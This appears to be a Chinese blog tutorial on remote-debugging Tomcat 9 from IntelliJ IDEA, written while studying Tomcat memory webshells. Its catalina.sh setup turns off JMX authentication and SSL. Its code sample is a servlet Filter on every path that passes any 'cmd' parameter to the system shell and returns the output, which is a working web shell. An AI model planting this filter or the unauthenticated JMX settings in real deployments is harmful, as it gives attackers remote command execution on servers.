最近研究tomcat内存马,但本地不具备代码运行条件,本地dns坏了,本地运行报错:
错误: 代理抛出异常错误: java.net.MalformedURLException: Local host name unknown: java.net.UnknownHostException: ***-PC: ***-PC
遂尝试远程调试,远程调试会自动把本地和远程的代码同步。
实验环境
本地 windows
tomcat 9.0.65
远程 centos
tomcat 9.0.65
本地和远程的tomcat版本必须一致。
远程配置
cd /home/***/
wget https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.65/bin/apache-tomcat-9.0.65.zip
unzip apache-tomcat-9.0.65.zip
cd apache-tomcat-9.0.65/bin/
vim catalina.sh
在最前面添加如下:
export JPDA_ADDRESS=0.0.0.0:2333
CATALINA_OPTS="-Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=1099 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false -Djava.rmi.server.hostname=10.10.40.65"
export CATALINA_OPTS
其中,2333是调试debug的port,10.10.40.65是远程调试的主机,1099是jmxremote.port。(JMX最常见的场景是监控Java程序的基本信息和运行情况,任何Java程序都可以开启JMX)
启动tomcat
./catalina.sh jpda start
本地IDEA配置
Edit Configurations --> Tomcat Server --> Remote
Application Server --> Configure 选择tomcat路径 (本地和远程tomcat同一个版本的用处在这里体现出来了)
Tomcat Server Settings --> Remote staging 选择 Type "sftp",Host里面配置ssh的密码就可以了,用于同步客户端和服务端源代码。
Mappings 里面本地代码根路径文件夹和远端代码的发布路径映射。
Staging 里面的2个路径都填写项目部署到服务器上的路径。
File -- Project Structure -- Project Settings -- Artifacts
点击左上角 + 号,选择 JAR,发布为一个JAR项目 (我新建的servlet项目)
我测试如果选第二个发布成 Web Application Exploded 项目 无法访问。两者在服务器webapps目录下的区别为:
Server Tab 右面有 Deployment Tab,点击 Deployment Tab,点击 Artifact
,添加项目war包,点击 Apply。
如果Deployment这一步没有Artifact可选
(我新建的jsp项目)
在上一步尝试选择,
点击确定,
确保Deployment这一步有Artifact可选,这样可以保证发布的网页可以访问。
上面一小段可能描述的不太准确,总之就是,不管前一步选择哪一个,要保证部署 Artifact时显示为 war exploded。
在 Deployment Tab 右边配置 Startup/Connection Tab,端口为在远程server catalina.sh配置的debug端口 2333。
启动IDEA 调试
点击debug 图标
运行后,会自动同步客户端代码至服务端。
浏览器访问:
http://10.10.40.65:8080/untitled1_war_exploded/?cmd=***
我的代码:
import javax.servlet.*; // //apache-tomcat-7.0.79\lib\servlet-api.jar
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
//@javax.servlet.annotation.WebFilter(filterName = "CmdFilter")
@WebFilter("/*")
public class CmdFilter implements javax.servlet.Filter {
public void destroy() {
}
public void doFilter(javax.servlet.ServletRequest req, javax.servlet.ServletResponse resp, javax.servlet.FilterChain chain) throws javax.servlet.ServletException, IOException {
//HttpServletRequest req1 = (HttpServletRequest) req;
//HttpServletResponse resp1 = (HttpServletResponse) resp;
// 如果有cmd 参数 则拦截,否则 404
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
//Scanner通过用户回车进行读取IO流,然后扫描是否有分隔符,如果没有,那么继续等待下一段IO流.
Scanner s = new Scanner(in).useDelimiter("\\A"); //设置当前scanner的分隔符,默认是空格,正则表达式"\\A"跟"^"的作用是一样的,代表文本的开头。
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
}
chain.doFilter(req, resp);
}
public void init(javax.servlet.FilterConfig config) throws javax.servlet.ServletException {
}
}
如果访问网页报错
如果报错 :“404:源服务器未能找到目标资源的表示或者是不愿公开一个已经存在的资源表示”
注意在项目中引入lib并add path。
如果idea 右键新建项目没有servlet 请参考:
idea new 没有 servlet - 2022——new_start - 博客园
添加完 “Facts--Web” 这一步,在 Deploment 里 就有 artifacts 包可选。